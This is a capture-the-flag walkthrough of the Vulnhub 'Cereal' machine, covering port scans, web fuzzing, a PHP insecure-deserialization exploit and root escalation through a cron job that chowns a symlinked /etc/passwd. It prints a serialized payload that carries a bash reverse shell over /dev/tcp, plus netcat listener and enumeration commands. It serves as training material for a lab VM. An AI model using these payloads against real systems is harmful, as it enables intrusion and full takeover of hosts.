Cereal Walkthrough – Vulnhub – Writeup

Cereal is a machine that has a vulnerability of insecure deserialization in PHP. Also, we must enumerate the machine properly. Otherwise, we might not even get the foothold. The author of the machine is Thomas Williams. http://Cereal Walkthrough – Vulnhub – Writeup

Link to the machine: https://www.vulnhub.com/entry/cereal-1,703/

Walkthrough of Prime 2 (2021)

Before starting the walkthrough, I am going to say that, this machine requires more enumeration that we usually do as evident by the following image of my directory.

Identify the target

As usual, for doing Vulnhub challenges, I had to identify the IP address of the target machine.

sudo netdiscover -i eth0 -r

Scan open ports

Next, I did the enumeration of open ports on the target.

sudo nmap -v -T4 -A -p- -oN nmap.log
# Nmap 7.91 scan initiated Wed Jun 30 07:23:10 2021 as: nmap -v -T4 -A -p- -oN nmap.log
Nmap scan report for cereal.ctf (
Host is up (0.0016s latency).
Not shown: 65520 closed ports
21/tcp    open  ftp             vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 0        0               6 Apr 12 08:52 pub
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open  ssh             OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 00:24:2b:ae:41:ba:ac:52:d1:5d:4f:ad:00:ce:39:67 (RSA)
|   256 1a:e3:c7:37:52:2e:dc:dd:62:61:03:27:55:1a:86:6f (ECDSA)
|_  256 24:fd:e7:80:89:c5:57:fd:f3:e5:c9:2f:01:e1:6b:30 (ED25519)
80/tcp    open  http            Apache httpd 2.4.37 (())
| http-methods: 
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 ()
|_http-title: Apache HTTP Server Test Page powered by: Rocky Linux
139/tcp   open  netbios-ssn?
445/tcp   open  microsoft-ds?
3306/tcp  open  mysql?
| fingerprint-strings: 
|   NULL: 
|_    Host '' is not allowed to connect to this MariaDB server
11111/tcp open  vce?
22222/tcp open  easyengine?
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
22223/tcp open  unknown
33333/tcp open  dgi-serv?
33334/tcp open  speedtrace?
44441/tcp open  http            Apache httpd 2.4.37 (())
| http-methods: 
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 ()
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
44444/tcp open  cognex-dataman?
55551/tcp open  unknown
55555/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
MAC Address: 08:00:27:A9:63:49 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Uptime guess: 1.309 days (since Tue Jun 29 00:03:16 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=253 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Unix

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)

1   1.55 ms cereal.ctf (

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun 30 07:28:46 2021 -- 1 IP address (1 host up) scanned in 336.08 seconds

There are too many ports open. However, the one that have web servers running are 80 and 44441. Likewise, anonymous FTP is allowed, but there isn’t anything inside the directory.

Enumerate web server

Next, I started playing with the webserver. The home page contained the default page of apache httpd server.

Hence, I enumerated this page with a simple wordlist.

ffuf -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u -D -e .html,.bak,.php,.txt -of html -o dir-main.html

‘admin’ page gave me a form. So, I checked the possibility of SQL injection using sqlmap. However, it didn’t work.

Next, I check the blog path.

Luckily, I got the hostname for the server. Hence, I added it to my hosts file.

sudo vi /etc/hosts

Then, I visited the same servers but nothing changed. Also, the server running on port 44441 just has a simple coming soon page. Meanwhile, I checked for some vulnerable plugins of WordPress using wpscan but didn’t have any luck. Thus, I enumerated virtual hosts. Upon enumerating virtual hosts, I got something on the port 44441.

gobuster vhost -u http://cereal.ctf:44441 --wordlist /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -o vhost.log

Insecure deserialization in PHP

The homepage of the newly found website allowed us to do ping. So, it might be executing commands in the backend. However, when I tried to inject commands, it didn’t give me anything. Then, I checked the source code and found a script that would serialize the inputs.

Hence, I felt that this box requires to violate insecure deserialization. But to confirm let’s send the request and see the request in the burp suite or developer tool of the browser.

Let me explain the body in short. The letter O refers to the type object. If you look at the serializing code, you can see that there are 4 types.

Hence, for object, it takes the letter O, whereas for boolean, string and array, it takes b, s and a respectively. The number after the colon refers to the length of the object’s name which is right beside the number. Hence, pingTest is the object’s name or let’s say the class’ name. Inside the class, or for the object, there is a property ipAddress. The word ipAddress itself is a string whose length is 9. Likewise, the next thing is the IP itself which is also a string with the length 9. For more info, please consult to ippsec’s video.

To do deserialization exploits, we require to look at the implementation. Hence, I should enumerate some backup files. This is the point where I got stuck and left the machine to do a different machine. However, with the help of the author Thomas, I got to know that I wasn’t using the biggest wordlist. Also, if you are going to use gobuster, you need to wait for hours. So, it’s better to use ffuf for fuzzing.

ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://secure.cereal.ctf:44441/FUZZ -D -e .bak,.txt -of html -o dir-secure.html

Fortunately, I got a directory, forbidden directory back_en. So, we can guess that there is a .htaccess in the directory. However, we cannot rule out the possibility of backup not being there. You could once again run the same command inside the directory. But, I simply checked for index.php.bak and got the file without running the fuzzers. The browsers truncate the PHP codes, so you have to look at the source of the page.

Let me explain the code first.

PHP Code explanation

The execution begins from line number 28 since the portion above it is a class definition. If the POST request to the page has a body parameter ‘obj’ then, it’s going to unserialize it which is obvious. Otherwise, it will be creating a new objection. So, if you open the website at first, you would see a ping request to although you didn’t send anything.

Then, it runs the validate method from the object. Hence, let’s look at the class definition first.

The class has three properties ipAddress comes from the request body, isValid which determines if the input is valid or not and the output which is sent afterwards. By default, the value of isValid is False, hence whenever we send a request from the browser, it would enter the ‘if’ block. That block checks if the value is an IP address or not. Hence, when we tried to inject the commands, it rejected the input and hence, nothing happened.

But, if we send the value True in the request, then the ‘if’ block won’t be executed at all. Then, it would directly call the ping method. In that method, you can see the shell_exec function of PHP that allows the execution of commands in the server. So, if we send the payload like “ && bash -c ‘/bash -i >& /dev/tcp/ 0>&1′”, the line would be like as follows.

$this->output = shell_exec("ping -c 3 && bash -c '/bash -i >& /dev/tcp/ 0>&1'");

The above line is totally fine as it would run the ping and then runs the bash command to get me the reverse shell. Moreover, you can use any payload you want. However, we need to serialize the request by ourselves. Hence, I am going to create a PHP file that would give me the output I want.

Exploiting the insecure deserialization

We can just copy the class definition excluding the methods like the following.

class pingTest {
        public $ipAddress = " ; bash -c 'bash -i >& /dev/tcp/ 0>&1'";
        public $isValid = True;


echo urlencode(serialize(new pingTest));

When execute the php file, I got the output. So, by changing the value of ipAddress, you can get your own results.

php exploit.php

In the burp suite I sent the request to the repeater so that I could execute these commands multiple times. Next, I listened to the port 4444 in netcat before executing the command.

nc -nlvp 4444

And, I got the shell. For the purpose of using pspy, I listened to another port 9999 using the same method above.

Then, I upgrade the shell so that I could use the bash same as my local machine. I have written a blog post regarding the same. Please check out the following link.

Upgrade to an intelligent reverse shell

Also, since python and python3 are not installed on the target, I used the following command to get the PTY shell.

SHELL=bash script -q /dev/null

My next steps would be as follows.

There is a user rocky on the machine. My checklist is as follows:

  1. Credentials.
  2. Uncommon files in the directories, /opt, /var/, /etc, etc.
  3. Suid binaries
  4. Sudo permissions
  5. Binaries that have capabilities
  6. Cron jobs
  7. Running processes
  8. Run linpeas.sh or LinEnum.sh
  9. Run pspy64

Escalating privileges

Since I got the reverse shell, my next step was to get access to other users.

cat /etc/passwd | grep bash

Most of the time, for an easy machine, this is enough. There weren’t any uncommon files in the directories that I looked at. I found some mysql credentials and wordpress password hash that I couldn’t crack. Also, there weren’t any suid binaries that would be useful to me. Likewise, the binaries having capabilities weren’t helpful either. Similarly, /etc/crontab also doesn’t have anything. Hence, I decided to get pspy and linpeas to get further information. To summarize, pspy snoops on the processes without requiring root permission. Likewise, linpeas and linenum are some of the Linux enumeration scripts.

I served the directory that contained the binaries and scripts using python.

python3 -m http.server

On the target, I downloaded them. Since I have two instances of reverse shell, I ran both of the scripts in parallel.

cd /tmp
chmod +x pspy64
bash linpeas.sh | tee linpeas.out

After quite a time, I got a script that is run by the root user. Hence, I viewed the script’s content.

ls -l /usr/share/scripts/chown.sh
cat /usr/share/scripts/chown.sh

We can see that we don’t have write permission on the script. Hence, we cannot write our custom commands there and we must exploit the functionality of the script. The script is changing the owner of the contents of the file public_html that resides on the home directory of the user rocky. Currently, I am the group apache, so it would give me respective access to the files inside the directory. So, the next question that we should ask ourselves is how could I exploit the machine by getting the group permission on that directory. We have something called symlinking in Linux. In functionality, it is the same as the shortcuts in windows except that windows use extensions to verify its files. On the other hand, Linux uses the permission matrix.

Exploiting the cron job

Changing the owner of the symlink would also change the owner of the linked file.

Symlink with group owner apache -> Original file with/without group owner apache but has group write access

Fortunately, /etc/passwd has the write access for its group.

ls -l /etc/passwd
cat /etc/passwd

The ‘x’ in the /etc/passwd file is the place where our ‘encrypted’ password is kept. Either this or the shadow file is used. Hence, if I removed the ‘x’ from that line, I remove the password authentication from the root user. This is the main point of this machine. Hence, let’s being with symlinking /etc/passwd file to a custom file.

ln -s /etc/passwd /home/rocky/public_html/passwd

Obviously, the symlink has access such as this. Then, I waited for the next execution of the script.

Since the script is executed, let’s check the owner of the /etc/passwd.

ls -l /etc/passwd

So, I could edit the file via symlink as follows.

vi /home/rocky/public_html/passwd

Now, I could log as the root user.

cd /root
cat proof.txt

The user flag was in the home directory of rocky.

cat /home/rocky/local.txt


This was a frustrating machine, to be honest. However, the real-life machines must be frustrating as they are not games. So, I needed help from the author to finish this. However, once you get the foothold of the machine, it’s not that difficult. Also, I have done a machine that required me to wait for more than that in this machine to see the intended output. So, I didn’t miss this time.

0 0 votes
Article Rating
Notify of
Inline Feedbacks
View all comments
Would love your thoughts, please comment.x